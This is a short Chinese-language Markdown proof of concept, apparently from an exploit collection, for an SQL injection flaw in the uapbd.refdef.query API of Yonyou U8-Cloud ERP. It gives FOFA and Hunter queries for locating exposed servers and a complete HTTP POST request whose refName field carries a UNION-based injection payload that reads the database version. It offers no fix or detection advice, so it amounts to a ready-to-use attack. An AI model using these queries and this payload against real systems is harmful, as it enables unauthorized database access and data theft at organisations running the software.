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30 lines
856 B
Markdown
30 lines
856 B
Markdown
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# 用友U8-Cloud系统接口uapbd.refdef.query存在SQL注入漏洞
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用友U8-Cloud系统接口uapbd.refdef.query存在SQL注入漏洞，允许攻击者通过恶意构造的SQL语句操控数据库，从而导致数据泄露、篡改或破坏，严重威胁系统安全。
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## fofa
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```javascript
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title=="U8C"
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```
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## hunter
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```javascript
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app.name="用友 U8 Cloud"
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```
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## poc
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```javascript
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POST /u8cloud/openapi/uapbd.refdef.query?appcode=huo&isEncrypt=N HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
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Content-Type: application/json
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Accept-Encoding: gzip
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Connection: close
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{"refName":"1%' UNION ALL SELECT 1,CONVERT(INT,@@VERSION),1-- "}
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```
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